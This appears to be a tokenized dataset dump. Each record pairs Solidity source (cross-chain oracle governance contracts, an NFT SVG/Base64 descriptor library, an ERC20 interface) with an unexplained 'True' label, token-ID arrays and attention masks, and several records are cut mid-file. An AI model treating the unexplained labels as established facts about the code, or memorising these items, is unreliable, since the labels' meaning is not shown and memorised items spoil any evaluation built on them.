(address to, bytes memory inputData) = (calls[i].to, calls[i].data);
require(_executeCall(to, inputData), "execute call failed");
emit ExecutedGovernanceTransaction(to, inputData);
}
}
// Note: this snippet of code is copied from Governor.sol.
function _executeCall(address to, bytes memory data) private returns (bool) {
// Note: this snippet of code is copied from Governor.sol and modified to not include any "value" field.
// solhint-disable-next-line no-inline-assembly
bool success;
assembly {
let inputData := add(data, 0x20)
let inputDataSize := mload(data)
// Hardcode value to be 0 for relayed governance calls in order to avoid addressing complexity of bridging
// value cross-chain.
success := call(gas(), to, 0, inputData, inputDataSize, 0, 0)
}
return success;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
import "../oracle/interfaces/FinderInterface.sol";
import "./interfaces/ChildMessengerInterface.sol";
import "../oracle/implementation/Constants.sol";
/**
* @title Cross-chain Oracle L2 Spoke Base.
* @notice Provides access control to Governance and Oracle spoke L2 contracts.
*/
contract SpokeBase {
FinderInterface private finder;
constructor(address _finderAddress) {
finder = FinderInterface(_finderAddress);
}
modifier onlyMessenger() {
require(msg.sender == address(getChildMessenger()), "Caller must be messenger");
_;
}
/**
* @notice Returns the child messenger address set in the finder.
* @return ChildMessengerInterface instance of child messenger deployed on L2.
*/
function getChildMessenger() public view returns (ChildMessengerInterface) {
return ChildMessengerInterface(finder.getImplementationAddress(OracleInterfaces.ChildMessenger));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
interface ChildMessengerConsumerInterface {
// Called on L2 by child messenger.
function processMessageFromParent(bytes memory data) external;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
interface ChildMessengerInterface {
// Should send cross-chain message to Parent messenger contract or revert.
function sendMessageToParent(bytes memory data) external;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
interface ParentMessengerInterface {
// Should send cross-chain message to Child messenger contract or revert.
function sendMessageToChild(bytes memory data) external;
// Informs Hub how much msg.value they need to include to call `sendMessageToChild`.
function getL1CallValue() external view returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/**
* @title Stores common interface names used throughout the DVM by registration in the Finder.
*/
library OracleInterfaces {
bytes32 public constant Oracle = "Oracle";
bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist";
bytes32 public constant Store = "Store";
bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin";
bytes32 public constant Registry = "Registry";
bytes32 public constant CollateralWhitelist = "CollateralWhitelist";
bytes32 public constant OptimisticOracle = "OptimisticOracle";
bytes32 public constant Bridge = "Bridge";
bytes32 public constant GenericHandler = "GenericHandler";
bytes32 public constant SkinnyOptimisticOracle = "SkinnyOptimisticOracle";
bytes32 public constant ChildMessenger = "ChildMessenger";
bytes32 public constant OracleHub = "OracleHub";
bytes32 public constant OracleSpoke = "OracleSpoke";
}
/**
* @title Commonly re-used values for contracts associated with the OptimisticOracle.
*/
library OptimisticOracleConstraints {
// Any price request submitted to the OptimisticOracle must contain ancillary data no larger than this value.
// This value must be <= the Voting contract's `ancillaryBytesLimit` constant value otherwise it is possible
// that a price can be requested to the OptimisticOracle successfully, but cannot be resolved by the DVM which
// refuses to accept a price request made with ancillary data length over a certain size.
uint256 public constant ancillaryBytesLimit = 8192;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples are the Oracle or Store interfaces.
*/
interface FinderInterface {
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 encoding of the interface name that is either changed or registered.
* @param implementationAddress address of the deployed contract that implements the interface.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external;
/**
* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the deployed contract that implements the interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
3229,
1013,
2219,
3085,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1012,
1012,
1013,
21183,
12146,
1013,
6123,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3206,
11336,
2029,
3640,
1037,
3937,
3229,
2491,
7337,
1010,
2073,
1008,
2045,
2003,
2019,
4070,
1006,
2019,
3954,
1007,
2008,
2064,
2022,
4379,
7262,
3229,
2000,
1008,
3563,
4972,
1012,
1008,
1008,
2011,
12398,
1010,
1996,
3954,
4070,
2097,
2022,
1996,
2028,
2008,
21296,
2015,
1996,
3206,
1012,
2023,
1008,
2064,
2101,
2022,
2904,
2007,
1063,
4651,
12384,
2545,
5605,
1065,
1012,
1008,
1008,
2023,
11336,
2003,
2109,
2083,
12839,
1012,
2009,
2097,
2191,
2800,
1996,
16913,
18095,
1008,
1036,
2069,
12384,
2121,
1036,
1010,
2029,
2064,
2022,
4162,
2000,
2115,
4972,
2000,
21573,
2037,
2224,
2000,
1008,
1996,
3954,
1012,
1008,
1013,
10061,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3988,
10057,
1996,
3206,
4292,
1996,
21296,
2121,
2004,
1996,
3988,
3954,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
1063,
1035,
4651,
12384,
2545,
5605,
1006,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4769,
1997,
1996,
2783,
3954,
1012,
1008,
1013,
3853,
3954,
1006,
1007,
2270,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
3954,
1006,
1007,
1027,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
1000,
2219,
3085,
1024,
20587,
2003,
2025,
1996,
3954,
1000,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
3727,
1996,
3206,
2302,
3954,
1012,
2009,
2097,
2025,
2022,
2825,
2000,
2655,
1008,
1036,
2069,
12384,
2121,
1036,
4972,
4902,
1012,
2064,
2069,
2022,
2170,
2011,
1996,
2783,
3954,
1012,
1008,
1008,
3602,
1024,
17738,
4609,
6129,
6095,
2097,
2681,
1996,
3206,
2302,
2019,
3954,
1010,
1008,
8558,
9268,
2151,
15380,
2008,
2003,
2069,
2800,
2000,
1996,
3954,
1012,
1008,
1013,
3853,
17738,
17457,
12384,
2545,
5605,
1006,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
1035,
4651,
12384,
2545,
5605,
1006,
4769,
1006,
1014,
1007,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
15210,
6095,
1997,
1996,
3206,
2000,
1037,
2047,
4070,
1006,
1036,
2047,
12384,
2121,
1036,
1007,
1012,
1008,
2064,
2069,
2022,
2170,
2011,
1996,
2783,
3954,
1012,
1008,
1013,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1010,
1000,
2219,
3085,
1024,
2047,
3954,
2003,
1996,
5717,
4769,
1000,
1007,
1025,
1035,
4651,
12384,
2545,
5605,
1006,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: GPL-3.0
/// @title A library used to construct ERC721 token URIs and SVG images
/***********************************************************
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@%[email protected]@@@@@@@@@@@@
[email protected]@@@@@@..............................
./@@@@@@@@@[email protected]@@....*@@@@.......*@@@@@@@@@.
./@@@@@@@[email protected]@@@@[email protected]@@[email protected]@@@@[email protected]@@@@.
@%[email protected]@[email protected]@[email protected]@@[email protected]
@%**.........,**.........................................**@
@@@@##.....##(**####### ......... ,####### .......###@@@
@@@@@@[email protected]@@@# @@ @@ ......... ,@@ @@@ [email protected]@@@@@
@@@@@@[email protected]@# @@@@@@@ ......... ,@@@@@@@ [email protected]@@@@@
@@@@@@[email protected]@@@@ @@%............ [email protected]@@@@@
@@@@@@@@@..../@@@@@@@@@[email protected]@@@@@@@
@@@@@@@@@............ [email protected]@@@@@@@
@@@@@@@@@@@.......... @@@@@@@@@@@@@@% .........*@@@@@@@@@@
@@@@@@@@@@@@@%.... @@//////////////#@@ [email protected]@@@@@@@@@@@@
@@@@@@@@@@@@@@@@ @@@///////////////////@@ @@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@ ************************ @@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
************************************************************/
pragma solidity ^0.8.6;
import { Base64 } from 'base64-sol/base64.sol';
import { MultiPartRLEToSVG } from './MultiPartRLEToSVG.sol';
library NFTDescriptor {
struct TokenURIParams {
string name;
string description;
string[] attributes;
bytes[] parts;
string background;
}
/**
* @notice Construct an ERC721 token attributes.
*/
function _generateAttributes(TokenURIParams memory params) internal pure returns (string memory attributes)
{
string memory _attributes = "[";
if (params.attributes.length >0) {
string [] memory att = params.attributes;
for (uint256 i = 0; i < att.length && i + 1 < att.length; i += 2) {
if (i == 0) {
_attributes = string(abi.encodePacked(_attributes,'{"trait_type":"',att[i],'","value":"',att[i+1],'"}'));
} else {
_attributes = string(abi.encodePacked(_attributes, ',{"trait_type":"',att[i],'","value":"',att[i+1],'"}'));
}
}
_attributes = string(abi.encodePacked(_attributes, "]"));
return _attributes;
}
// empty array
return string(abi.encodePacked(_attributes, "]"));
}
/**
* @notice Construct an ERC721 token URI.
*/
function constructTokenURI(TokenURIParams memory params, mapping(uint8 => string[]) storage palettes)
public
view
returns (string memory)
{
string memory image = generateSVGImage(
MultiPartRLEToSVG.SVGParams({ parts: params.parts, background: params.background }),
palettes
);
string memory attributes = _generateAttributes(params);
// prettier-ignore
return string(
abi.encodePacked(
'data:application/json;base64,',
Base64.encode(
bytes(
abi.encodePacked(
'{"name":"', params.name, '","description":"', params.description, '","attributes":',attributes,',"image": "', 'data:image/svg+xml;base64,', image, '"}')
)
)
)
);
}
/**
* @notice Generate an SVG image for use in the ERC721 token URI.
*/
function generateSVGImage(MultiPartRLEToSVG.SVGParams memory params, mapping(uint8 => string[]) storage palettes)
public
view
returns (string memory svg)
{
return Base64.encode(bytes(MultiPartRLEToSVG.generateSVG(params, palettes)));
}
}
// SPDX-License-Identifier: MIT
/// @title Base64
/// @author Brecht Devos - <[email protected]>
/// @notice Provides a function for encoding some bytes in base64
library Base64 {
string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
// load the table into memory
string memory table = TABLE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {} lt(dataPtr, endPtr) {}
{
dataPtr := add(dataPtr, 3)
// read 3 bytes
let input := mload(dataPtr)
// write 4 characters
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F)))))
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) }
case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) }
}
return result;
}
}
// SPDX-License-Identifier: GPL-3.0
/// @title A library used to convert multi-part RLE compressed images to SVG
/***********************************************************
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@[email protected]@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@%[email protected]@@@@@@@@@@@@
[email protected]@@@@@@..............................
./@@@@@@@@@[email protected]@@....*@@@@.......*@@@@@@@@@.
./@@@@@@@[email protected]@@@@[email protected]@@[email protected]@@@@[email protected]@@@@.
@%[email protected]@[email protected]@[email protected]@@[email protected]
@%**.........,**.........................................**@
@@@@##.....##(**####### ......... ,####### .......###@@@
@@@@@@[email protected]@@@# @@ @@ ......... ,@@ @@@ [email protected]@@@@@
@@@@@@[email protected]@# @@@@@@@ ......... ,@@@@@@@ [email protected]@@@@@
@@@@@@[email protected]@@@@ @@%............ [email protected]@@@@@
@@@@@@@@@..../@@@@@@@@@[email protected]@@@@@@@
@@@@@@@@@............ [email protected]@@@@@@@
@@@@@@@@@@@.......... @@@@@@@@@@@@@@% .........*@@@@@@@@@@
@@@@@@@@@@@@@%.... @@//////////////#@@ [email protected]@@@@@@@@@@@@
@@@@@@@@@@@@@@@@ @@@///////////////////@@ @@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@ ************************ @@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
************************************************************/
pragma solidity ^0.8.6;
library MultiPartRLEToSVG {
struct SVGParams {
bytes[] parts;
string background;
}
struct ContentBounds {
uint8 top;
uint8 right;
uint8 bottom;
uint8 left;
}
struct Rect {
uint8 length;
uint8 colorIndex;
}
struct DecodedImage {
uint8 paletteIndex;
ContentBounds bounds;
Rect[] rects;
}
/**
* @notice Given RLE image parts and color palettes, merge to generate a single SVG image.
*/
function generateSVG(SVGParams memory params, mapping(uint8 => string[]) storage palettes)
internal
view
returns (string memory svg)
{
// prettier-ignore
return string(
abi.encodePacked(
'<svg width="320" height="320" viewBox="0 0 320 320" xmlns="http://www.w3.org/2000/svg" shape-rendering="crispEdges">',
'<rect width="100%" height="100%" fill="#', params.background, '" />',
_generateSVGRects(params, palettes),
'</svg>'
)
);
}
/**
* @notice Given RLE image parts and color palettes, generate SVG rects.
*/
// prettier-ignore
function _generateSVGRects(SVGParams memory params, mapping(uint8 => string[]) storage palettes)
private
view
returns (string memory svg)
{
string[33] memory lookup = [
'0', '10', '20', '30', '40', '50', '60', '70',
'80', '90', '100', '110', '120', '130', '140', '150',
'160', '170', '180', '190', '200', '210', '220', '230',
'240', '250', '260', '270', '280', '290', '300', '310',
'320'
];
string memory rects;
for (uint8 p = 0; p < params.parts.length; p++) {
DecodedImage memory image = _decodeRLEImage(params.parts[p]);
string[] storage palette = palettes[image.paletteIndex];
uint256 currentX = image.bounds.left;
uint256 currentY = image.bounds.top;
uint256 cursor;
string[16] memory buffer;
string memory part;
for (uint256 i = 0; i < image.rects.length; i++) {
Rect memory rect = image.rects[i];
if (rect.colorIndex != 0) {
buffer[cursor] = lookup[rect.length]; // width
buffer[cursor + 1] = lookup[currentX]; // x
buffer[cursor + 2] = lookup[currentY]; // y
buffer[cursor + 3] = palette[rect.colorIndex]; // color
cursor += 4;
if (cursor >= 16) {
part = string(abi.encodePacked(part, _getChunk(cursor, buffer)));
cursor = 0;
}
}
currentX += rect.length;
if (currentX == image.bounds.right) {
currentX = image.bounds.left;
currentY++;
}
}
if (cursor != 0) {
part = string(abi.encodePacked(part, _getChunk(cursor, buffer)));
}
rects = string(abi.encodePacked(rects, part));
}
return rects;
}
/**
* @notice Return a string that consists of all rects in the provided `buffer`.
*/
// prettier-ignore
function _getChunk(uint256 cursor, string[16] memory buffer) private pure returns (string memory) {
string memory chunk;
for (uint256 i = 0; i < cursor; i += 4) {
chunk = string(
abi.encodePacked(
chunk,
'<rect width="', buffer[i], '" height="10" x="', buffer[i + 1], '" y="', buffer[i + 2], '" fill="#', buffer[i + 3], '" />'
)
);
}
return chunk;
}
/**
* @notice Decode a single RLE compressed image into a `DecodedImage`.
*/
function _decodeRLEImage(bytes memory image) private pure returns (DecodedImage memory) {
uint8 paletteIndex = uint8(image[0]);
ContentBounds memory bounds = ContentBounds({
top: uint8(image[1]),
right: uint8(image[2]),
bottom: uint8(image[3]),
left: uint8(image[4])
});
uint256 cursor;
Rect[] memory rects = new Rect[]((image.length - 5) / 2);
for (uint256 i = 5; i < image.length; i += 2) {
rects[cursor] = Rect({ length: uint8(image[i]), colorIndex: uint8(image[i + 1]) });
cursor++;
}
return DecodedImage({ paletteIndex: paletteIndex, bounds: bounds, rects: rects });
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
1013,
1013,
1013,
1030,
2516,
1037,
3075,
2109,
2000,
9570,
9413,
2278,
2581,
17465,
19204,
24471,
2483,
1998,
17917,
2290,
4871,
1013,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1031,
10373,
5123,
1033,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1003,
1031,
10373,
5123,
1033,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1031,
10373,
5123,
1033,
1030,
1030,
1030,
1030,
1030,
1030,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1013,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1031,
10373,
5123,
1033,
1030,
1030,
1012,
1012,
1012,
1012,
1008,
1030,
1030,
1030,
1030,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1008,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1012,
1012,
1013,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1031,
10373,
5123,
1033,
1030,
1030,
1030,
1030,
1031,
10373,
5123,
1033,
1030,
1030,
1031,
10373,
5123,
1033,
1030,
1030,
1030,
1030,
1031,
10373,
5123,
1033,
1030,
1030,
1030,
1030,
1012,
1030,
1003,
1031,
10373,
5123,
1033,
1030,
1031,
10373,
5123,
1033,
1030,
1031,
10373,
5123,
1033,
1030,
1030,
1031,
10373,
5123,
1033,
1030,
1003,
1008,
1008,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1010,
1008,
1008,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1008,
1008,
1030,
1030,
1030,
1030,
1030,
1001,
1001,
1012,
1012,
1012,
1012,
1012,
1001,
1001,
1006,
1008,
1008,
1001,
1001,
1001,
1001,
1001,
1001,
1001,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1010,
1001,
1001,
1001,
1001,
1001,
1001,
1001,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1001,
1001,
1001,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1031,
10373,
5123,
1033,
1030,
1030,
1030,
1001,
1030,
1030,
1030,
1030,
1012,
1012,
1012,
1012,
1012,
1012,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
